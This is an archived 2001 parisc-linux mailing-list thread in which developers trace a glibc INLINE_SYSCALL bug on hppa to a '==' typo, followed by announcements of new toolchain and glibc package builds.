http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:16:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] INLINE_SYSCALL/gcc-bug? (Was Re: pipes)
Date: Wed, 07 Mar 2001 10:39:35 -0700
Lines: 166
Approved: news@gmane.org
Message-ID: <E14ahuS-0001t2-00@noam.fc.hp.com>
References: <20010223113052.G4660@linuxcare.com> <Pine.LNX.4.21.0102232231470.9345-100000@front.linuxcare.com.au> <20010223212325.K4660@linuxcare.com>  <20010226175701.U4660@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619935 16635 80.91.229.3 (22 Nov 2014 01:32:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:15 +0000 (UTC)
Cc: Alan Modra <alan@linuxcare.com.au>,
	parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  7 10:39:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 95C554A19
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Mar 2001 10:39:38 -0700 (MST)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 88244D27; Wed,  7 Mar 2001 12:39:37 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id KAA13285;
	Wed, 7 Mar 2001 10:39:36 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 14ahuS-0001t2-00; Wed, 07 Mar 2001 10:39:36 -0700
In-Reply-To: Your message of "Mon, 26 Feb 2001 17:57:01 GMT."
             <20010226175701.U4660@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10471

Help!  Probable gcc bug!

= This is looking like a glibc/kernel issue regardling the width
= of the type returned by lseek():

To reproduce the bogus return value, compile x.c:

    #include <stdio.h>
    #define __USE_FILE_OFFSET64
    #include <unistd.h>
    #include <errno.h>

    int main(int argc, char *argv[])
    {
	long lwhere = lseek(0, 0L, SEEK_CUR);

	printf("lwhere %lx errno %d (%s)\n", lwhere, errno, sys_errlist[errno]);

	return 0;
    }

then run 'ls | x' which should show 'lwhere' as either 0 or -1, but instead
it's 0xffffffec or something like that (-ESPIPE, as Richard found earlier).

After much head scratching, the bug seems to be occurring in glibc's
INLINE_SYSCALL macro (glibc/sysdeps/unix/sysv/linux/hppa/sysdep.h) as
a result of a compiler bug.  Since INLINE_SYSCALL is used to implement
quite a number of syscalls, this could be a nice thing to fix!  Here's
the "proof".  Consider the ustat() syscall [only because the generated
code is simple, not because it's known to have problems]
glibc/sysdeps/unix/sysv/linux/ustat.c:
    int
    ustat (dev_t dev, struct ustat *ubuf)
    {
      unsigned short int k_dev;

      /* We must convert the value to dev_t type used by the kernel.  */
      k_dev = ((major (dev) & 0xff) << 8) | (minor (dev) & 0xff);

      return INLINE_SYSCALL (ustat, 2, k_dev, CHECK_1 (ubuf));
    }
The way things are supposed to work, INLINE_SYSCALL() tests the value
returned from the kernel syscall, which is either in the range of
-4096..-1, in which case it's an error indicator so errno is set
and INLINE_SYSCALL returns -1 which ustat() then returns (-1 is
the standard syscall error return).  Or if outside this range,
the syscall return value is generally passed back unchanged.  This
logic is apparent from INLINE_SYSCALL:

    #define INLINE_SYSCALL(name, nr, args...)       ({              \
	    unsigned long __sys_res;                                \
	    {                                                       \
		    register unsigned long __res asm("r28");        \
		    LOAD_ARGS_##nr(args)                            \
		    asm volatile(                                   \
			    "ble  0x100(%%sr2, %%r0)\n\t"   \
			    " ldi %1, %%r20"                        \
			    : "=r" (__res)                          \
			    : "i" (SYS_ify(name)) ASM_ARGS_##nr     \
			     );                                     \
		    __sys_res = __res;                              \
	    }                                                       \
	    if (__sys_res >= (unsigned long)-4095) {                \
		    __set_errno(-__sys_res);                        \
		    __sys_res == (unsigned long)-1;                 \
	    }                                                       \
	    __sys_res;                                              \
    })

The symptom is that the return value from INLINE_SYSCALL is never -1
even when the if() condition is true.  It's not even -1 when printf-ed
right after being set to -1.  Here's the generated code for
ustat() plus some comments [xc-latest, latest glibc CVS bits]:

    00000000 <ustat>:
       0:   6b c2 3f d9     stw rp,-14(sr0,sp)
       4:   6f c3 00 80     stw,ma r3,40(sr0,sp)
       8:   08 19 02 56     copy r25,r22
       c:   08 1a 02 57     copy r26,r23
      10:   d2 f6 0a f5     shrpw r22,r23,8,r21
      14:   d6 75 09 18     depw,z r21,23,8,r19
      18:   d2 fa 1b f8     extrw,u r23,31,8,r26
      1c:   08 18 02 59     copy r24,r25
      20:   0b 53 02 5a     or r19,r26,r26
      24:   e4 00 82 00     be,l 100(sr2,r0),%sr0,%r31	# make the syscall
      28:   34 14 00 7c     ldi 3e,r20
      2c:   08 1c 02 43     copy ret0,r3		# save return value
# if (__sys_res >= (unsigned long)-4095)
      30:   34 13 20 01     ldi -1000,r19
      34:   88 73 80 28     cmpb,>>= r19,r3,50 <ustat+0x50>
# {
      38:   08 03 02 5c     copy r3,ret0
      3c:   e8 40 00 00     b,l 44 <ustat+0x44>,rp
			    3c: R_PARISC_PCREL17F   __errno_location
      40:   08 00 02 40     nop
      44:   08 60 04 13     sub r0,r3,r19	 # r19 = -__sys_res
      48:   0f 93 12 80     stw  r19,0(sr0,ret0) # __set_errno(r19)
      4c:   08 03 02 5c     copy r3,ret0	 # restore syscall ret value
# }
      50:   4b c2 3f 59     ldw -54(sr0,sp),rp
      54:   e8 40 c0 00     bv r0(rp)
      58:   4f c3 3f 81     ldw,mb -40(sr0,sp),r3

There appears to be no code generated for setting __sys_res to -1 so
I think this is probably a gcc bug.  I think I confirmed that the bug
exists with no optimization too.

Unfortunately we seem to be working around this bug in
in some of the hppa-specific syscalls, for example hppa/mmap.c
[which is using a poorer algorithm than the one in INLINE_SYSCALL()!]

INLINE_SYSCALL() also has a sign/unsigned problem as willy pointed out.

Attached is a list of glibc source files which contain INLINE_SYSCALL()
so if these syscalls seem broken to you, it could be due to this defect.

./aio_sigqueue.c
./execve.c
./ftruncate64.c
./fxstat.c
./fxstat64.c
./getcwd.c
./getdents.c
./getpriority.c
./llseek.c
./lxstat.c
./lxstat64.c
./msgctl.c
./msgget.c
./msgrcv.c
./msgsnd.c
./poll.c
./pread.c
./pread64.c
./ptrace.c
./pwrite.c
./pwrite64.c
./readv.c
./reboot.c
./semctl.c
./semget.c
./semop.c
./shmat.c
./shmctl.c
./shmdt.c
./shmget.c
./sigaction.c
./sigpending.c
./sigprocmask.c
./sigqueue.c
./sigsuspend.c
./sigtimedwait.c
./sigwaitinfo.c
./sysctl.c
./truncate64.c
./ustat.c
./writev.c
./xmknod.c
./xstat.c
./xstat64.c
./hppa/brk.c
./hppa/mmap.c
./hppa/sysdep.h




From - Thu Nov 08 21:16:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] INLINE_SYSCALL/gcc-bug? (Was Re: pipes)
Date: Wed, 07 Mar 2001 10:57:12 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <E14aiBV-0004BG-00@noam.fc.hp.com>
References: <20010223113052.G4660@linuxcare.com> <Pine.LNX.4.21.0102232231470.9345-100000@front.linuxcare.com.au> <20010223212325.K4660@linuxcare.com> <20010226175701.U4660@linuxcare.com>  <E14ahuS-0001t2-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619936 16636 80.91.229.3 (22 Nov 2014 01:32:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:16 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	Alan Modra <alan@linuxcare.com.au>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  7 10:57:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0CDBA4A19
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Mar 2001 10:57:16 -0700 (MST)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 150ECBD8; Wed,  7 Mar 2001 12:57:15 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id KAA20913;
	Wed, 7 Mar 2001 10:57:14 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 14aiBV-0004BG-00; Wed, 07 Mar 2001 10:57:13 -0700
In-Reply-To: Your message of "Wed, 07 Mar 2001 10:39:35 MST."
             <E14ahuS-0001t2-00@noam.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10472

Minor mistake on my part -- my example wasn't compiled with the latest
compiler but the defect seems stable across several recent compiler
versions (xc-20010305 doesn't appear to be able to compile glob*.c
and others in glibc).

	-P




From - Thu Nov 08 21:16:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jason Eckhardt <jle@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] INLINE_SYSCALL/gcc-bug? (Was Re: pipes)
Date: Wed, 7 Mar 2001 10:10:07 -0800 (PST)
Lines: 37
Approved: news@gmane.org
Message-ID: <Pine.SOL.3.91.1010307100801.6842A-100000@cse.cygnus.com>
References: <E14ahuS-0001t2-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619936 16639 80.91.229.3 (22 Nov 2014 01:32:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:16 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	Alan Modra <alan@linuxcare.com.au>,
	parisc-linux@lists.parisc-linux.org
To: Paul Bame <bame@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  7 11:10:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cygnus.com (runyon.cygnus.com [205.180.230.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 445224A19
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Mar 2001 11:10:22 -0700 (MST)
Original-Received: from cse.cygnus.com (cse.cygnus.com [205.180.230.236])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id KAA04205;
	Wed, 7 Mar 2001 10:10:08 -0800 (PST)
Original-Received: (jle@localhost) by cse.cygnus.com (8.8.8+Sun/8.6.4) id KAA07025; Wed, 7 Mar 2001 10:10:08 -0800 (PST)
In-Reply-To: <E14ahuS-0001t2-00@noam.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10473


Hi,

On Wed, 7 Mar 2001, Paul Bame wrote:

> 
> Help!  Probable gcc bug!
> 
>     #define INLINE_SYSCALL(name, nr, args...)       ({              \
> 	    unsigned long __sys_res;                                \
> 	    {                                                       \
> 		    register unsigned long __res asm("r28");        \
> 		    LOAD_ARGS_##nr(args)                            \
> 		    asm volatile(                                   \
> 			    "ble  0x100(%%sr2, %%r0)\n\t"   \
> 			    " ldi %1, %%r20"                        \
> 			    : "=r" (__res)                          \
> 			    : "i" (SYS_ify(name)) ASM_ARGS_##nr     \
> 			     );                                     \
> 		    __sys_res = __res;                              \
> 	    }                                                       \
> 	    if (__sys_res >= (unsigned long)-4095) {                \
> 		    __set_errno(-__sys_res);                        \
> 		    __sys_res == (unsigned long)-1;                 \

                             ^^^^
     Perhaps this is why no code is generated to set __sys_res to -1?
     Or am I out of my mind?

     
> 	    }                                                       \
> 	    __sys_res;                                              \
>     })
> 




From - Thu Nov 08 21:16:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] INLINE_SYSCALL/gcc-bug? (Was Re: pipes)
Date: Wed, 7 Mar 2001 13:11:26 -0500 (EST)
Lines: 10
Approved: news@gmane.org
Message-ID: <200103071811.NAA00307@hiauly1.hia.nrc.ca>
References: <E14ahuS-0001t2-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619936 16642 80.91.229.3 (22 Nov 2014 01:32:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:16 +0000 (UTC)
Cc: rhirst@linuxcare.com, alan@linuxcare.com.au,
	parisc-linux@lists.parisc-linux.org
To: bame@fc.hp.com (Paul Bame)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  7 11:11:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3573E4A19
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Mar 2001 11:11:46 -0700 (MST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id NAA00307;
	Wed, 7 Mar 2001 13:11:27 -0500 (EST)
In-Reply-To: <E14ahuS-0001t2-00@noam.fc.hp.com> from "Paul Bame" at Mar 7, 2001 10:39:35 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:10474

> 		    __set_errno(-__sys_res);                        \
> 		    __sys_res == (unsigned long)-1;                 \
			      ^^
Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)




From - Thu Nov 08 21:16:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New native gcc debs
Date: Wed, 07 Mar 2001 13:42:59 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <E14aklv-0002kR-00@noam.fc.hp.com>
References: <20010306085014.D58AB38BD7@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619937 16644 80.91.229.3 (22 Nov 2014 01:32:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:17 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  7 13:43:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9E3594A19
	for <parisc-linux@parisc-linux.org>; Wed,  7 Mar 2001 13:43:03 -0700 (MST)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel2.hp.com (Postfix) with ESMTP id E7F63A26
	for <parisc-linux@parisc-linux.org>; Wed,  7 Mar 2001 15:43:01 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id NAA23459;
	Wed, 7 Mar 2001 13:42:59 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 14aklv-0002kR-00; Wed, 07 Mar 2001 13:42:59 -0700
In-Reply-To: Your message of "Tue, 06 Mar 2001 01:50:14 MST."
             <20010306085014.D58AB38BD7@carmen.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10475

= I have noticed that quite a few 
= packages in Debian that use c++ don't seem to be 2.97(v3) clean yet. So far I
= can't build apt, jade, and ncurses.  I have been able to build quite a few 
= other things though and I have placed the debs in the above directory.

The apt build failure seems to be that the apt compile is unable
to see things in the 'std' namespace -- possibly a new mode of 2.9.7
and I have no clue how to fix this (namespaces are newer than my
working C++ knowledge).

	-P




From - Thu Nov 08 21:16:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New xc and include tarballs available
Date: Wed, 07 Mar 2001 14:23:56 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20010307212356.24DC437CB4@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619937 16646 80.91.229.3 (22 Nov 2014 01:32:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:17 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  7 14:21:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA57E4A19
	for <parisc-linux@parisc-linux.org>; Wed,  7 Mar 2001 14:21:24 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP id 296744A1
	for <parisc-linux@parisc-linux.org>; Wed,  7 Mar 2001 16:21:24 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 24DC437CB4
	for <parisc-linux@parisc-linux.org>; Wed,  7 Mar 2001 14:23:56 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:10476

I have built a new xc tarball that includes the following commits,

http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2001-March/028738.html
http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2001-March/028739.html

It's available at,

ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-20010307.tar.gz

Since this is a header file change you'll need to pick up a new include 
tarball too,

ftp://puffin.external.hp.com/pub/parisc/src/include-20010307.tar.gz

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:16:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New native glibc debs available
Date: Wed, 07 Mar 2001 16:11:20 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <20010307231120.68F2737CB4@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619937 16651 80.91.229.3 (22 Nov 2014 01:32:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:17 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  7 16:08:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id E95E04A19
	for <parisc-linux@parisc-linux.org>; Wed,  7 Mar 2001 16:08:52 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP id 229E0B34
	for <parisc-linux@parisc-linux.org>; Wed,  7 Mar 2001 18:08:47 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 68F2737CB4
	for <parisc-linux@parisc-linux.org>; Wed,  7 Mar 2001 16:11:20 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:10477

I have built new native glibc debs that include the following commits,

http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2001-March/028738.html
http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2001-March/028739.html

They are available at,

ftp://puffin.external.hp.com/pub/parisc/binaries/new-debs/debian/

they are,

glibc-doc_2.2.1-1_all.deb
glibc_2.2.1-1.dsc
glibc_2.2.1-1_hppa.changes
libc6-dbg_2.2.1-1_hppa.deb
libc6-dev_2.2.1-1_hppa.deb
libc6-pic_2.2.1-1_hppa.deb
libc6-prof_2.2.1-1_hppa.deb
libc6_2.2.1-1_hppa.deb
locales_2.2.1-1_all.deb

I have installed them and am building new compilers against them now. I will 
post those soon.

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:16:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New native glibc debs available
Date: Wed, 07 Mar 2001 16:16:53 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <E14anAr-0004g4-00@noam.fc.hp.com>
References: <20010307231120.68F2737CB4@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619937 16655 80.91.229.3 (22 Nov 2014 01:32:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:17 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  7 16:16:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 41AEC4A19
	for <parisc-linux@parisc-linux.org>; Wed,  7 Mar 2001 16:16:55 -0700 (MST)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel2.hp.com (Postfix) with ESMTP id 63BD216B
	for <parisc-linux@parisc-linux.org>; Wed,  7 Mar 2001 18:16:54 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id QAA10700;
	Wed, 7 Mar 2001 16:16:53 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 14anAr-0004g4-00; Wed, 07 Mar 2001 16:16:53 -0700
In-Reply-To: Your message of "Wed, 07 Mar 2001 16:11:20 MST."
             <20010307231120.68F2737CB4@carmen.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10478

This fixes the "fixincludes" problem, which was then called a pipe
problem, which was then thought to be an lseek problem, which turned
out to be due to using an == instead of an = in some quite old code.
Many thinks to jda and jle for seeing the offensive ==, and to
richard for doing much early work to localize this.

Once your libc shared library is updated, fixincludes (which could
be re-enabled I suppose could be re-enabled in gcc) should work.  Other
things might start working better too, because this problem
theoretically was causing bogus error return values from many syscalls.

	-P




From - Thu Nov 08 21:16:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New native glibc debs available
Date: Wed, 07 Mar 2001 16:41:51 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <20010307234151.87F3037CB4@carmen.fc.hp.com>
References: <20010307231120.68F2737CB4@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619938 16658 80.91.229.3 (22 Nov 2014 01:32:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:18 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  7 16:39:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id BF5A84A19
	for <parisc-linux@parisc-linux.org>; Wed,  7 Mar 2001 16:39:18 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP id 472AD718
	for <parisc-linux@parisc-linux.org>; Wed,  7 Mar 2001 18:39:18 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 87F3037CB4
	for <parisc-linux@parisc-linux.org>; Wed,  7 Mar 2001 16:41:51 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Your message of "Wed, 07 Mar 2001 16:11:20 MST."
             <20010307231120.68F2737CB4@carmen.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10479

Matt Taggart writes...

> I have built new native glibc debs that include the following commits,
> 
> http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2001-March/028738.ht
> ml
> http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2001-March/028739.ht
> ml
> 
> They are available at,
> 
> ftp://puffin.external.hp.com/pub/parisc/binaries/new-debs/debian/

When building debian packages with these glibc debs there is a problem when 
dpkg tries to determine the shlib dependencies. To fix this edit,

/var/lib/dpkg/info/libc6.shlibs

and remove all occurances of GLIBC_2.2. I am rebuilding the debs with the 
proper fix now and will post them soon.

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:16:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bzip2 causes page fault
Date: Wed, 07 Mar 2001 16:45:07 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20010307234507.EEC2E37CB4@carmen.fc.hp.com>
References: <Pine.LNX.4.21.0103062051380.442-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619938 16661 80.91.229.3 (22 Nov 2014 01:32:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:18 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  7 16:43:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
